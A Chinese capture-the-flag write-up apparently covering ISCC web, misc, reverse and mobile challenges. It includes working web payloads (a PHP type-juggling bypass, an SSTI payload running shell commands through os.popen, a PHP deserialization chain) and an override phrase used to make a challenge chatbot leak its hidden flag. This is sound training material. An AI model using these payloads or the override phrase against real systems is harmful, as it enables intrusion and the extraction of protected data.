0%

痛失理论题的iscc

  • 区域

    • Web-回归基本功

      不难看出应该拿破败王,抓下包把UA改成 GaoJiGongChengShiFoYeGe

      回显让我们访问 Q2rN6h3YkZB9fL5j2WmX.php 得到php源码:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      <?php
      show_source(__FILE__);
      include('E8sP4g7UvT.php');
      $a=$_GET['huigui_jibengong.1'];
      $b=$_GET['huigui_jibengong.2'];
      $c=$_GET['huigui_jibengong.3'];

      $jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);
      if($jiben==1)
      {
      if(intval($b) == 'jibengong')
      {
      if(strpos($b, "0")==0)
      {
      echo '基本功不够扎实啊!';
      echo '<br>';
      echo '还得再练!';
      }
      else
      {
      $$c = $a;
      parse_str($b,$huiguiflag);
      if($huiguiflag[$jibengong]==md5($c))
      {
      echo $flag;
      }
      else{
      echo '基本功不够扎实啊!';
      echo '<br>';
      echo '还得再练!';
      }
      }
      }
      else
      {
      echo '基本功不够扎实啊!';
      echo '<br>';
      echo '还得再练!';
      }
      }
      else
      {
      echo '基本功不够扎实啊!';
      echo '<br>';
      echo '还得再练!';
      }
      ?>

      旧版php中 [ 会被转化为下划线 _ 且只转化一次

      弱类型绕过构造出payload

      有个 strpos\n

      1
      huigui[jibengong.1=1&huigui[jibengong.2=%0A0=0%261=e559dcee72d03a13110efe9b6355b30d&huigui[jibengong.3=jibengong
    • Web-哪吒的试炼

      提示吃藕,想了半天是传参数 food=lotus root

      然后f12高手把按钮的disable去掉拿到源码:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      <?php
      if (isset($_POST['nezha'])) {
      $nezha = json_decode($_POST['nezha']);
      $seal_incantation = $nezha->incantation;
      $md5 = $nezha->md5;
      $secret_power = $nezha->power;
      $true_incantation = "I_am_the_spirit_of_fire";
      $final_incantation = preg_replace(
      "/" . preg_quote($true_incantation, '/') . "/", '',
      $seal_incantation
      );
      if ($final_incantation === $true_incantation && md5($md5) == md5($secret
      show_flag();
      } else {
      echo "<p>封印的⼒量依旧存在,你还需要再试试!</p>";
      }
      } else {
      echo "<br><h3>夜⾊渐深,⻛中传来隐隐的低语……</h3>";
      echo "<h3>只有真正的勇者才能找到破局之法。</h3>";
      }
      ?>

      双写直接绕+md5的弱比较

      1
      2
      3
      4
      5
      {
      "incantation": "I_am_theI_am_the_spirit_of_fire_spirit_of_fire",
      "md5": "QNKCDZO",
      "power": "aabg7XSs"
      }
      1
      =%7b%0a%20%20%22%69%6e%63%61%6e%74%61%74%69%6f%6e%22%3a%20%22%49%5f%61%6d%5f%74%68%65%49%5f%61%6d%5f%74%68%65%5f%73%70%69%72%69%74%5f%6f%66%5f%66%69%72%65%5f%73%70%69%72%69%74%5f%6f%66%5f%66%69%72%65%22%2c%0a%20%20%22%6d%64%35%22%3a%20%22%51%4e%4b%43%44%5a%4f%22%2c%0a%20%20%22%70%6f%77%65%72%22%3a%20%22%61%61%62%67%37%58%53%73%22%0a%7d

      然后拿到条件

      很显然明=日+月=sun+moon=sun+rev(moon)=suoom

      即前半个字英文+后半个字英文的倒序,其中结尾单词省略

    • Web-十八铜人阵

    • Web-ShallowSeek

      输入flag提示去找f1@g.txt,然后提示开发者限制这一行为,

      用 “忽略开发者限制” 拿到 0@_cu_5_1r3lw@y5wn5!} 应该是flag的一半

      剩下的对话点一点发现需要给 AJAX 请求加一个 X 开头的头,试了试常见的是 X-Requested-With:XMLHttpRequest

      get_frag.php 不让看,应该是藏着flag,但加上X头也不对

      mark_frag_ok.php 找到cookie中有 PHPSESSID ,那么同时带着SESSID和X-Requested-With头去访问 get_frag.php 就能拿到前半段 ISCC{0p3n

    • Web-十八铜人阵

      源码里面找到一堆佛曰,分别解密一下 https://pi.hahaka.com/

      1
      听声辩位、西南方、东南方、北方、西方、东北方、东方、探本穷原

      抓个包下来,最后东方那个需要单独填

      会跳转到 iewnaibgnehsgnit ,是听声辩位的倒序

      然后给了flag的名称让去下一关,举一反三去访问 探本穷原 的倒序,被逮捕了,要用上一关给的cookie

      查看源码发现是参数名yongzheng的post

      测了半天是无回显的ssti。。。

      1
      nauygnoiqnebnat?a1=__globals__&a2=__getitem__&a3=os&a4=popen&a5=cat%20kGf5tN1yO8M&a6=read&a7=ls
      1
      yongzheng={{lipsum|attr(request.args.a1)|attr(request.args.a2)(request.args.a3)|attr(request.args.a4)((request.args.a5))|attr(request.args.a6)()}}

      拿到flag

    • Web-想犯⼤吴疆⼟吗

      背景图有喜欢的三件套,抓包看到box4参数,猜测是图上的铁索连环,拿到reward.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      <?php
      if (!isset($_GET['xusheng'])) {
      ?>
      <html>
      <head><title>Reward</title></head>
      <body style="font-family:sans-serif;text-align:center;margin-top:15%;">
      <h2>想直接拿奖励?</h2>
      <h1>尔要试试我宝⼑是否锋利吗?</h1>
      </body>
      </html>
      <?php
      exit;
      }
      error_reporting(0);
      ini_set('display_errors', 0);
      ?>
      <?php
      // 犯flag.php疆⼟者,盛必击⽽破之!
      class GuDingDao {
      public $desheng;
      public function __construct() {
      $this->desheng = array();
      }
      public function __get($yishi) {
      echo "__get";
      $dingjv = $this->desheng;
      $dingjv();
      return "下次沙场相⻅, 徐某定不留情";
      }
      }
      class TieSuoLianHuan {
      protected $yicheng;
      public function append($pojun) {
      echo "append";
      echo $pojun;
      include($pojun);
      }
      public function __invoke() {
      echo "__invoke";
      $this->append($this->yicheng);
      }
      }
      class Jie_Xusheng {
      public $sha;
      public $jiu;
      public function __construct($secret = 'reward.php') {
      $this->sha = $secret;
      }
      public function __toString() {
      echo "__toString";
      return $this->jiu->sha;
      }
      public function __wakeup() {
      echo "__wake";
      if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->sha)) {
      echo "你休想偷看吴国机密";
      $this->sha = "reward.php";
      }
      }
      }
      echo '你什么都没看到?那说明……有东西你没看到<br>';
      if (isset($_GET['xusheng'])) {
      @unserialize($_GET['xusheng']);
      } else {
      $a = new Jie_Xusheng;
      highlight_file(__FILE__);
      }
      // 铸下这铁链,江东天险牢不可破!

      那就是反序列化,有链子:

      1
      2
      3
      4
      5
      Jie_Xusheng.__wakeup
      Jie_Xusheng.__toString
      GuDingDao.__get
      TieSuoLianHuan.__invoke
      TieSuoLianHuan.append
      1
      O%3A11%3A"Jie_Xusheng"%3A2%3A%7Bs%3A3%3A"sha"%3BO%3A11%3A"Jie_Xusheng"%3A2%3A%7Bs%3A3%3A"sha"%3Bs%3A10%3A"reward%2Ephp"%3Bs%3A3%3A"jiu"%3BO%3A9%3A"GuDingDao"%3A1%3A%7Bs%3A7%3A"desheng"%3BO%3A14%3A"TieSuoLianHuan"%3A1%3A%7Bs%3A10%3A"%00%2A%00yicheng"%3Bs%3A8%3A"flag%2Ephp"%3B%7D%7D%7Ds%3A3%3A"jiu"%3BN%3B%7D

      但一直不对,搜了搜三国杀的相关,古锭刀一般没牌的时候出多打1伤,所以把dao改成da0试了试

    • Misc-返校之路

      压缩包里两个part都有加密,扔010editor发现part1是伪加密,得到readme.txt

      1
      2
      3
      一转眼,寒假已经过去,同学们都怀着怎样的心情踏上返校之路呢?
      你是一名学生,从刚下高铁,准备乘坐19站地铁返回学校。短短的假期总是让人留恋,而返校的路似乎格外漫长。
      在途中,你发现了一个神秘的压缩包,以及一张写着bfs???的纸条,这似乎隐藏着一些重要的信息。。。

      显然是掩码爆破part2,得到 bfsyVq

      解出来三张图片,结合题目名应该是起始站-终点站

      图3详细信息:

      肉眼看一下应该是3号线-10号线-4号线

      测一测别的图,图1用010editor分离出另一张图,扫描二维码:

      1
      flag不在这里,但是它由两部分组成

      图2用zsteg找到 flag is=KZEFETK2NZWEGVKWKU6Q====

      扔给cyberchef接码完拼接上 3104 就是flag

    • Misc-取证分析

    • Misc-睡美人

      拿到了10M的图片,扔给foremost能分理出一个zip

      题目中红红红红红红绿绿绿蓝应该是RGB6:3:1,提取一下内容得到压缩包密码 1375729349.6

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      from PIL import Image
      from tqdm import tqdm

      # 加载图像并转换为 RGB 模式
      image = Image.open("Sleeping_Beauty_39.png").convert("RGB")

      # 初始化颜色通道总和
      total_red = 0
      total_green = 0
      total_blue = 0

      # 遍历图像的每个像素
      for y in tqdm(range(image.height), desc="Processing rows"):
      for x in range(image.width):
      red, green, blue = image.getpixel((x, y))
      total_red += red
      total_green += green
      total_blue += blue

      # 按权重计算最终值
      weighted_sum = total_red * 0.6 + total_green * 0.3 + total_blue * 0.1
      print(weighted_sum)

      压缩包里是一段音频,写个脚本分析:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      import numpy as np
      import scipy.io.wavfile as wavfile


      def decode_non_standard_manchester(filename="normal_speech_39.wav", start_time_sec=6.0, segment_duration_sec=0.1):
      try:
      sample_rate, data = wavfile.read(filename)
      except FileNotFoundError:
      print(f"错误:文件 '{filename}' 未找到。")
      return ""
      except Exception as e:
      print(f"读取 WAV 文件时发生错误:{e}")
      return ""

      # 只取单声道数据(如果为立体声)
      if data.ndim == 2:
      audio_signal = data[:, 0]
      else:
      audio_signal = data

      start_sample = int(start_time_sec * sample_rate)
      samples_per_segment = int(segment_duration_sec * sample_rate)

      if start_sample + samples_per_segment > len(audio_signal):
      print(f"错误:开始时间({start_time_sec}秒)太靠后,或音频文件过短,无法处理至少一个分段。")
      return ""

      decoded_bits = []
      current_sample_index = start_sample
      threshold = 0 # 判定阈值

      print(f"采样率:{sample_rate} Hz")
      print(f"每个分段的采样点数:{samples_per_segment}")
      print(f"从采样点 {start_sample} 开始处理")

      segment_count = 0

      while current_sample_index + samples_per_segment <= len(audio_signal):
      segment_data = audio_signal[current_sample_index:current_sample_index + samples_per_segment]
      binary_segment = (segment_data > threshold).astype(int)

      if np.all(binary_segment == 1):
      decoded_bits.append('0')
      elif np.any(np.diff(binary_segment) == -1):
      decoded_bits.append('1')

      current_sample_index += samples_per_segment
      segment_count += 1

      print(f"共处理了 {segment_count} 个分段。")
      return "".join(decoded_bits)


      if __name__ == "__main__":
      decoded_sequence = decode_non_standard_manchester()
      if decoded_sequence:
      print("\n解码后的序列:")
      print(decoded_sequence)

      扔给cyberchef解码即可

    • Misc-取证分析

      R-studio取证出hahaha.zip,但是恢复出来打不开

      找历史版本恢复:

      本来想爆破压缩包密码,但是archpr打开文件的时候自动执行上一个设置,就直接以bfs开头爆出来了:

      hint1:rxms{ husqzqdq oubtqd } 应该是对flag格式进行位移了,看起来像维吉尼亚

      Alphabet.txt 提示了杨辉三角和一串坐标,那应该是该坐标的数值转字符

      1
      2
      3
      4
      5
      6
      7
      8
      9
      # 已知坐标对应的值(按题目给定顺序)
      values = [9, 35, 3, 3, 66, 10, 1, 2042975, 5, 70]
      # 将值映射为字母(0 → Z,1 → A,2 → B,...)
      def value_to_char(n):
      mod = n % 26
      return chr(mod + ord('A')) if mod != 0 else 'Z'
      # 转换所有值
      result = ''.join(value_to_char(v) for v in values)
      print(result)

      得到 JJDDOKBZFS

      readme.txt 提示找字符,把docx文件用zip打开,从 Content_Types].xml 找到oxiiduxpuawi

      密文密钥全齐,做一下维吉尼亚即可

    • Misc-签个到吧

      给了一个扫不对的二维码和一个压缩包,010editor修一下压缩包头可以拿到一个扭曲的二维码,扔stegsolve里面找一找看到猫脸变换

      写个脚本修复一下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      import cv2
      import numpy as np


      def arnold_encode(image: np.ndarray, iterations: int, a: int, b: int) -> np.ndarray:
      """对图像进行 Arnold 加密"""
      height, width = image.shape[:2]
      N = height # 假设图像为正方形
      encoded_image = np.zeros_like(image)

      for _ in range(iterations):
      for x in range(height):
      for y in range(width):
      new_x = (x + b * y) % N
      new_y = (a * x + (a * b + 1) * y) % N
      encoded_image[new_x, new_y] = image[x, y]
      image = encoded_image.copy()

      cv2.imwrite('flag_arnold_encode.png', encoded_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
      return encoded_image


      def arnold_decode(image: np.ndarray, iterations: int, a: int, b: int) -> np.ndarray:
      """对图像进行 Arnold 解密"""
      height, width = image.shape[:2]
      N = height # 假设图像为正方形
      decoded_image = np.zeros_like(image)

      for _ in range(iterations):
      for x in range(height):
      for y in range(width):
      new_x = ((a * b + 1) * x - b * y) % N
      new_y = (-a * x + y) % N
      decoded_image[new_x, new_y] = image[x, y]
      image = decoded_image.copy()

      cv2.imwrite('flag.png', decoded_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
      return decoded_image


      if __name__ == "__main__":
      input_image = cv2.imread("1.png")
      if input_image is None:
      print("错误:找不到图像文件 '1.png'")
      else:
      # 示例调用:加密或解密
      # encoded = arnold_encode(input_image, iterations=1, a=2, b=3)
      decoded = arnold_decode(input_image, iterations=1, a=1, b=-2)

      修好的图看起来很怪,先反色一下再逆时针转90°,此时仍有残缺,想到跟题目一开始给的异或一下:

  • 总决

    • Pwn-crackme

      注意到sub_1400013E0这个函数跟进过去

      提取一下数据:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      #include <stdio.h>
      #include <string.h>
      #include <stdint.h>
      #include <stdlib.h>

      /**
      * RC4 加密/解密算法
      * @param key 密钥数组
      * @param key_len 密钥长度
      * @param data 待处理数据(加密或解密)
      * @param data_len 数据长度
      */
      void rc4(const unsigned char* key, size_t key_len, unsigned char* data, size_t data_len) {
      unsigned char s[256];
      unsigned char temp;
      int i, j, t;

      // 初始化 S 盒
      for (i = 0; i < 256; i++) {
      s[i] = (unsigned char)i;
      }

      // Key Scheduling Algorithm (KSA)
      j = 0;
      for (i = 0; i < 256; i++) {
      j = (j + s[i] + key[i % key_len]) % 256;
      temp = s[i];
      s[i] = s[j];
      s[j] = temp;
      }

      // Pseudo-Random Generation Algorithm (PRGA)
      i = j = 0;
      for (size_t k = 0; k < data_len; k++) {
      i = (i + 1) % 256;
      j = (j + s[i]) % 256;
      temp = s[i];
      s[i] = s[j];
      s[j] = temp;
      t = (s[i] + s[j]) % 256;
      data[k] ^= s[t];
      }
      }

      int main() {
      // 被 RC4 加密 + 凯撒加密 + 异或处理的密文数据
      unsigned char flag[42] = {
      0x1C, 0xB8, 0x2E, 0x47, 0xDD, 0x72, 0x1C, 0xA2, 0xDE, 0x13,
      0x38, 0x46, 0x8A, 0xF0, 0x53, 0x81, 0xAC, 0xE6, 0xE9, 0xEE,
      0x59, 0x9A, 0x20, 0x28, 0x7C, 0x6B, 0xEF, 0xE8, 0xB3, 0x24,
      0x82, 0x3F, 0xB6, 0x15, 0x53, 0x17, 0xEE, 0x91, 0xC9, 0xFE,
      0x35, 0x74
      };

      const char* key = "SecretKey";
      size_t key_len = strlen(key);

      // Step 1: 使用 RC4 解密
      rc4((const unsigned char*)key, key_len, flag, sizeof(flag));

      // Step 2: 逆向凯撒移位(偏移量为 -3,即加了23)
      for (int i = 0; i < 42; i++) {
      if (flag[i] >= 'a' && flag[i] <= 'z') {
      flag[i] = (flag[i] - 'a' + 23) % 26 + 'a';
      } else if (flag[i] >= 'A' && flag[i] <= 'Z') {
      flag[i] = (flag[i] - 'A' + 23) % 26 + 'A';
      }
      }

      // Step 3: 每两个字节异或 0x41('A')
      printf("解密结果:");
      for (int i = 0; i < 42; i += 2) {
      printf("%c", flag[i] ^ 0x41);
      }
      printf("\n");

      return 0;
      }
    • Pwn-uglyCpp

      扔到ida里面找到和flag相关的字段:

      追踪含函数ZNK12S4V3u5wVUXnyMUlRSt6vectorIjSaIjEEE_clES2_拿到v数组

      扔给gpt分析,需要做xor即可

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      v = [   1872234243,
      -1805322974,
      -1899737243,
      -1800060478,
      1647816578,
      370674358,
      1089600087,
      -1500523595,
      264753501
      ]
      v = [i&0xffffffff for i in v]
      xor = [0x3ED6325B, 0xD709BF17, 0xE3F27E18, 0xA0870791, 0x0146D6F9, 0x7C6140FF, 0x10B69406, 0x94DDE0F6, 0x40B2BB6C]
      for i in range(len(v)):
      v[i] ^= xor[i]
      flag = "".join([i.to_bytes(length=4, byteorder="little").decode() for i in v])
      print(flag)
      c_table = "5p6h7q8d9risbtjuevkwaxlyfzm0c1n2g3o4"
      table = "abcdefghijklmnopqrstuvwxyz0123456789"
      for i in table:
      print(flag[c_table.index(i)], end="")
    • mob-叽米是梦的开场白

      分理出libmobile04.soida打开:

      追踪aDex035,其值存下来扔给cyberchef

      发现是一个dex文件,存下来jadx打开

      拿到密文54, 67, 55, 68, 57, 70, 69, 67, 53, 68, 68, 56, 66, 56, 57, 68

      再在libSunday.so拿到密钥CvMoNx0vHzJLgFymoqrGQazF

      拿到前半段

      在libMonday.so

      这段是Java_com_example_mobile04_a_checkFlag2中位移异或的部分

      看到xor 0x71

      去/assets/x86_64解密里面的enreal,根据加密逻辑:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      with open("enreal", "rb") as f:
      data = list(f.read())
      for i in range(len(data)):
      data[i] = (data[i] << 2) | (data[i] >> 6)
      data[i] &= 0xff
      data[i] ^= 0x71
      data[i] = (data[i] >> 3) | (data[i] << 5)
      data[i] &= 0xff
      with open("decode_enreal", "wb") as f:
      f.write(bytes(data))

      ida打开,在real_check函数

      拿到密钥bLmtu4OttuqCdMQ3qRmlJLMs和密文0x8EFB262C7C6B57D9LL

      两部分拼接即可 QDU5mqqIbvGNCb

    • misc-神经网络迷踪

      .pth 是使用 PyTorch 提供的 torch.save() 函数保存的数据

      1
      2
      3
      Import torch
      Sd=torch.load(‘1.pth’)
      Print(list(sd.keys()))

      两层特殊网络层,那么肯定在secret/key下。而网络层只有output由bias,适合隐写

      1
      2
      3
      4
      5
      6
      7
      import torch
      sd=torch.load('1.pth')

      bias=sd['output.bias']
      vals=[input(torch.round(v*255)) & 0xFF for v in bias]
      core=bytes(vals).decode()
      print(vals,core)

      提取一下拿到五位数,ascii码得到flag

  • 擂台

    • mob-whereisflag

      扔到jadx分析:

      Compute在so,解压apk找so扔给ida反编译

      类似于base64换表,在functions列表encrypt函数找到换表的函数,扔给gpt写脚本:

      1
      2
      3
      4
      5
      6
      7
      ABC = "WHEReISFLAGBCDJKMNOPQTUVXYZabcdefghijklmnopqrstuvwxyz0123456789"
      decode = lambda c: ''.join([ABC[(ABC.index(ch) - 2) % len(ABC)] for ch in c])[::-1]
      if __name__ == "__main__":
      secret = "iB3A7kSISR"
      content = decode(secret)
      result = f"ISCC{{{content}}}"
      print(result)
    • re-打个flag

      一个python写的exe,用pyinstxtractor+uncompyle6反编译得到

      跑一下代码得到奇怪的代码:

      有混淆,扔给gpt分析,他发现有凯撒加密和base编码和字符替换,其中凯撒加密偏移为5,写出脚本

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      import base64 as a

      def b(c, d):
      e = ''
      for f in c:
      if f.islower(): e += chr((ord(f)-97+d)%26+97)
      elif f.isupper(): e += chr((ord(f)-65+d)%26+65)
      else: e += f
      return e

      def g(h):
      try: return a.b64decode(h).decode('utf-8','ignore')
      except Exception as i: return f"×××失败: {i}"

      def j(k):
      l = ''
      for m in k:
      if m.isupper(): l += chr(155 - ord(m))
      elif m.islower(): l += chr(219 - ord(m))
      else: l += m
      return l

      n = "ZpmDBMytVs5Bi0NvBYN4CoA+AXV5AMR0EBp8BYy9"
      o = b(n,21)
      p = g(o)
      q = j(p)

      print("①:", o)
      print("②:", p)
      print("③:", q)
    • Misc-黑白有色

      发现图是16bit深度,opencv库提取二值图像,能拿到压缩包密码;

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      import cv2 as a
      import numpy as b
      def x(y):
      z=a.imread(y,a.IMREAD_UNCHANGED)
      if z is None:
      print("读取失败,文件不存在或格式错误:", y)
      return
      z=z[:,:,:3]if z.ndim>2 else b.stack([z]*3,axis=-1)
      c,d=z.shape[:2]
      e=b.zeros((c*3,d*16),dtype=b.uint8)
      for f in range(3):
      g=z[:,:,f]
      for h in range(16):
      i=((g>>h)&1)*255
      e[c*f:c*(f+1),d*h:d*(h+1)]=i
      a.imwrite("bit_planes_grid.png",e)
      if __name__=="__main__":x("C:\\Users\\Administrator\\Desktop\\62y77m.png")

      压缩包三个音频文件,看起来都是01串

      按0.01s为采样点,每段都是406×228×8个值,根据提示生成rgb通道

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      import wave as a
      import numpy as b
      from PIL import Image as c
      def d(e:str,f:float=0.01)->str:
      with a.open(e,'rb')as g:
      h=b.frombuffer(g.readframes(g.getnframes()),b.int16 if g.getsampwidth()==2 else b.uint8)
      i=int(g.getframerate()*f)
      return''.join('1'if h[j*i]>0 else'0'for j in range(len(h)//i))
      def j(k:str,l:int)->b.ndarray:
      return b.array([int(k[m:m+8],2)for m in range(0,min(len(k),l*8),8)],dtype=b.uint8)
      def n():
      o,p=406,228
      q=o*p
      r={s:j(d(s),q)for s in['wave1.wav','wave2.wav','wave3.wav']}
      t=c.fromarray(b.stack([r[f'wave{u}.wav']for u in range(1,4)],axis=1).reshape((p,o,3)),'RGB')
      t.save('output_rgb.png')
      print('图片已保存为: output_rgb.png')
      if __name__=='__main__':n()

      拿到这个图

      Key和图片名异或拿到最后一个压缩包密码Ey3s@Nd&E@RS!

      flag.txt就是flag的前半段

      more < flag.txt:galf.txt 拿到后半段

    • Misc-蛇壳下的秘密

      蛇壳的话就对python进行解包,拿到一个 50个附件生成.pyc

      反编译得到代码:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      97
      98
      99
      100
      101
      102
      103
      104
      105
      106
      107
      108
      109
      110
      111
      112
      113
      114
      115
      116
      117
      118
      119
      120
      121
      122
      123
      124
      125
      126
      127
      128
      129
      130
      131
      132
      133
      134
      135
      136
      137
      138
      139
      140
      141
      142
      143
      144
      145
      146
      147
      148
      149
      150
      151
      152
      153
      154
      155
      156
      157
      158
      159
      160
      161
      162
      163
      164
      165
      166
      167
      168
      169
      170
      171
      172
      173
      174
      175
      176
      177
      178
      179
      180
      181
      182
      183
      184
      185
      186
      187
      188
      import sys
      import ctypes
      import pygame
      import random
      import os

      try:
      import pyzipper as zipfile_module
      except ImportError:
      import subprocess
      subprocess.check_call([sys.executable, "-m", "pip", "install", "pyzipper"])
      import pyzipper as zipfile_module

      from cryptography.fernet import Fernet
      import base64
      import win32con
      from win32ctypes import win32api

      pygame.init()

      WIDTH, HEIGHT = 600, 400
      BLOCK_SIZE = 20

      def get_exe_path():
      """获取当前 EXE 真实路径"""
      if getattr(sys, "frozen", False):
      return sys.executable
      else:
      return os.path.join(os.path.dirname(os.path.abspath(__file__)), "蛇.exe")

      exe_path = get_exe_path()

      def update_exe_comment(exe_path, new_comment):
      hResource = win32api.BeginUpdateResource(exe_path, 0)
      if not hResource:
      print("无法打开 EXE 资源")
      return
      try:
      new_comment_bytes = new_comment.encode("utf-16le") + b'\x00\x00'
      win32api.UpdateResource(hResource, win32con.RT_VERSION, 1, new_comment_bytes)
      win32api.EndUpdateResource(hResource, 0)
      print("成功修改 EXE Comments 字段")
      except Exception as e:
      print("修改失败:", e)
      win32api.EndUpdateResource(hResource, 1)

      # 颜色定义
      WHITE = (255, 255, 255)
      GREEN = (0, 255, 0)
      RED = (255, 0, 0)
      BLACK = (0, 0, 0)

      # 加密设置
      password = "Welcome".encode("utf-8")
      key = base64.urlsafe_b64encode(password.ljust(32))[:32]
      cipher = Fernet(key)

      # 日志配置
      LOG_FILE = "game_log.txt"
      ZIP_FILE = "game_log.zip"
      message_buffer = []
      ``
      def log_message(message):
      message_buffer.append(message)

      with open(LOG_FILE, "w", encoding="utf-8") as log:
      for msg in message_buffer:
      log.write(msg + "\n")

      with open(LOG_FILE, "rb") as f:
      file_data = f.read()

      with zipfile_module.AESZipFile(ZIP_FILE, "w", compression=zipfile_module.ZIP_LZMA) as zipf:
      zipf.setencryption(zipfile_module.WZ_AES, nbits=128)
      zipf.setpassword(password)
      zipf.writestr("game_log.txt", file_data)

      if os.path.exists(LOG_FILE):
      os.remove(LOG_FILE)
      if os.path.exists(ZIP_FILE):
      os.remove(ZIP_FILE)

      def draw_snake(snake):
      for segment in snake:
      pygame.draw.rect(screen, GREEN, pygame.Rect(segment[0], segment[1], BLOCK_SIZE, BLOCK_SIZE))

      def show_message_first():
      ctypes.windll.user32.MessageBoxW(0, "接着玩", "Serpent", 0)

      def game():
      global screen, font
      clock = pygame.time.Clock()
      running = True
      reached_300 = False
      score_200_shown = False
      mystery_message_shown = False

      snake = [(100, 100), (90, 100), (80, 100)]
      direction = "RIGHT"
      food = (
      random.randint(0, (WIDTH - BLOCK_SIZE) // BLOCK_SIZE) * BLOCK_SIZE,
      random.randint(0, (HEIGHT - BLOCK_SIZE) // BLOCK_SIZE) * BLOCK_SIZE
      )
      score = 0

      screen = pygame.display.set_mode((WIDTH, HEIGHT))
      pygame.display.set_caption("蛇")
      font = pygame.font.SysFont(None, 35)

      while running:
      screen.fill(BLACK)
      for event in pygame.event.get():
      if event.type == pygame.QUIT:
      running = False
      elif event.type == pygame.KEYDOWN:
      if event.key == pygame.K_LEFT and direction != "RIGHT":
      direction = "LEFT"
      elif event.key == pygame.K_RIGHT and direction != "LEFT":
      direction = "RIGHT"
      elif event.key == pygame.K_UP and direction != "DOWN":
      direction = "UP"
      elif event.key == pygame.K_DOWN and direction != "UP":
      direction = "DOWN"

      head_x, head_y = snake[0]
      if direction == "LEFT":
      head_x -= BLOCK_SIZE
      elif direction == "RIGHT":
      head_x += BLOCK_SIZE
      elif direction == "UP":
      head_y -= BLOCK_SIZE
      elif direction == "DOWN":
      head_y += BLOCK_SIZE

      if (head_x < 0 or head_x >= WIDTH or
      head_y < 0 or head_y >= HEIGHT or
      (head_x, head_y) in snake):
      running = False

      snake.insert(0, (head_x, head_y))
      if (head_x, head_y) == food:
      score += 10
      food = (
      random.randint(0, (WIDTH - BLOCK_SIZE) // BLOCK_SIZE) * BLOCK_SIZE,
      random.randint(0, (HEIGHT - BLOCK_SIZE) // BLOCK_SIZE) * BLOCK_SIZE
      )
      log_message(f"Snake ate food at {food}, new score: {score}")
      else:
      snake.pop()

      draw_snake(snake)
      pygame.draw.rect(screen, RED, pygame.Rect(food[0], food[1], BLOCK_SIZE, BLOCK_SIZE))
      score_text = font.render(f"Score: {score}", True, WHITE)
      screen.blit(score_text, (10, 10))

      if score == 90 and not score_200_shown:
      log_message("ISCC{eWVhcgo=}")
      pygame.display.flip()
      ctypes.windll.user32.MessageBoxW(0, "行百里者半九十", "提示", 0)
      score_200_shown = True

      if score == 30 and not mystery_message_shown:
      mystery_message_shown = True
      show_message_first()

      if score == 180 and not reached_300:
      log_message("ISCC")
      log_message("ISCC{U2FsdGVkX1+L/wKmHIDfApCg80p+D+QrET/NmTD7QNeRSGbAkJFM}")
      reached_300 = True

      pygame.display.flip()
      clock.tick(10)

      pygame.quit()
      if os.path.exists(LOG_FILE):
      os.remove(LOG_FILE)

      def is_admin():
      try:
      return ctypes.windll.shell32.IsUserAnAdmin()
      except:
      return False

      if __name__ == "__main__":
      if not is_admin():
      ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
      else:
      game()

      其中密文 U2FsdGVkX1+L/wKmHIDfApCg80p+D+QrET/NmTD7QNeRSGbAkJFM

      提示给了密钥 serpent年ISCC= serpentyearISCC

      解密得到flag,套一下ISCC{}

